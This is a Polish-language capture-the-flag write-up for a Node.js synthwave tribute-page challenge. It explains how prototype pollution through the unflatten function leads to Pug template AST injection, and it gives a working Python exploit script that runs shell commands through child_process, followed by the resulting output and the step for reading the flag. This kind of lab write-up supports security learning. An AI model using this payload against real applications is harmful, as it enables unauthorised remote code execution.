A city of lights, with retrofuturistic 80s peoples, and coffee, and drinks from another world… all the wooing in the world to make you feel more lonely… this ride ends here, with a tribute page of the British synthwave band called Gunship. 🎶
Po wejściu na wskazane ip widzimy przed sobą prosty formularz zachęcający nas do wyszukania ulubionego artysty.

Po wpisaniu kilku fraz, za każdym razem dostajemy informację o błędnie podanym imieniu. Przejdźmy zatem do analizy kodu.
(...)
router.post('/api/submit', (req, res) => {
const { artist } = unflatten(req.body);
if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
});
(...)
W pliku „index.js
” możemy zauważyć wywoływaną funkcję unflatten
. Po wyszukaniu jej w internecie możemy natrafić na termin Prototype pollution. Po kolejnym researchu natrafiamy na post wyjaśniający dokładniej zjawisko.
W skrócie, Prototype pollution polega na możliwości wstrzyknięcia niestandardowych właściwości do istniejących obiektów. Ponieważ język Javascript pozwala na zmianę wszystkich atrybutów obiektów, atakujący manipuluje nimi, co docelowo prowadzi do możliwości zdalnego wykonania kodu.
W artykule możemy znaleźć także przykłady gotowych skryptów. Po niewielkiej edycji jednego z nich na nasze potrzeby, otrzymujemy:
import requests
TARGET_URL = 'http://ip:port'
# make pollution
res = requests.post(TARGET_URL + '/api/submit', json = {
"artist.name": "Gingell",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`ls > static/js/main.js`)"
}
})
print(res.text)
print(requests.get(TARGET_URL + '/static/js/main.js').text)
Należy zauważyć, że dodaliśmy do naszego requestu argument z wyszukiwanym artystą ("artist.name": "Gingell"
). W innym wypadku dostaniemy informacje o błędzie. To, jakiego mamy użyć artysty dowiedzieliśmy się z dalszej analizy kodu.
if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the full name of an existing member.'
});
}
Wywołanie powyższego kodu skutkuje przekierowaniem wyjścia polecenia „ls
” do istniejącego pliku main.js
, który możemy odczytać. Następnie wykonujemy zapytanie GET
aby odczytać edytowany już plik main.js
.
┌──(bugspace㉿kali)-[~/Desktop]
└─$ python3 pollution.py
{"response":"<span>Hello guestndefine, thank you for letting us know!</span>"}
flaglZdte
index.js
node_modules
package.json
routes
static
views
yarn.lock
Teraz pozostaje podmienić polecenie „ls
” na „cat flaglZdte
” aby odczytać flagę.
https://blog.p6.is/AST-Injection/#Exploit
https://www.nullsession.pw/htb-x-uni-ctf-2020-quals-write-up/